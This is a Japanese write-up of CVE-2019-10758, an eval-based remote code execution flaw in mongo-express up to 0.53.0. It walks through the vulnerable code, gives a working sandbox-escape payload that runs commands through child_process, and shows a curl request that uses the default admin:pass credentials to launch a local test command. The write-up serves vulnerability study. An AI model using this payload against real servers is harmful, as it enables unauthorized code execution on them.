HOME/Articles/

CVE-2019-10758

Article Outline

概要

mongo-expressにおいて、toBSONメソッドを使用するエンドポイントを介し、リモートコード実行が可能となる脆弱性です。

まず始めに、こちらのコードから~/checkValidがユーザー入力を受け付けていることがわかります。

// https://github.com/mongo-express/mongo-express/blob/v0.53.0/lib/router.js
const router = function (config) {
  // 省略
  const appRouter = express.Router();
  appRouter.post('/checkValid', mongoMiddleware, configuredRoutes.checkValid);
  return appRouter;
}

そしてPOSTリクエストとして入力された値をBSON形式に変換するため、以下でtoBSONが呼び出されます。

// https://github.com/mongo-express/mongo-express/blob/v0.53.0/lib/routes/document.js
var routes = function (config) {
  // 省略
  var exp = {};
  exp.checkValid = function (req, res) {
    var doc = req.body.document;
    try {
      bson.toBSON(doc);
    } catch (err) {
      console.error(err);
      return res.send('Invalid');
    }

    res.send('Valid');
  };
  return exp;
}

以下がbson.jsにおけるリモートコード実行の可能性がある部分です。

// https://github.com/mongo-express/mongo-express/blob/v0.53.0/lib/bson.js
exports.toBSON = function (string) {
  // 省略
  vm.runInNewContext('doc = eval((' + string + '));', sandbox);

  return sandbox.doc;
};

ここでは関数eval()を使用しており、これは入力された文字列をそのままJavascriptとして実行します。 そしてvmモジュールによるサンドボックス化をうまく行えていないため、悪意あるスクリプトを実行できてしまう可能性があります。

環境

この脆弱性の影響を受けるバージョンは以下の通りです。

  • mongo-express:〜0.53.0

攻撃手順

上記の通り、bson.jsにおけるeval()は、入力された文字列をそのまま実行します。
そのため、以下のようなスクリプトをそのままPOSTデータとして~/checkValidに送信することにより、child_processを直接インポートしコマンドを実行させることができます。

this.constructor.constructor("return process")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')

検証

今回は以下の環境で検証します。

docker run -p 27017:27017 -d mongo
npm install [email protected]
cd node_modules/mongo-express/ && node app.js

http://localhost:8081/にアクセスするとmongo-expressが立ち上がっています。

http://localhost:8081/checkValidに対し、先ほどのスクリプトを認証情報とともに送信することにより、リモートコード実行を試みます。
なお、mongo-express起動時に流れるログの通り、デフォルトのbasicAuth認証情報はadmin:passとなっているため、リクエスト時に送信するBase64はYWRtaW46cGFzcw==となります。

以下のcurlコマンドを実行すると、電卓機能が立ち上がり、リモートでのスクリプト実行が起きてしまっていることが確認できます。

curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw=='  --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'

参考URL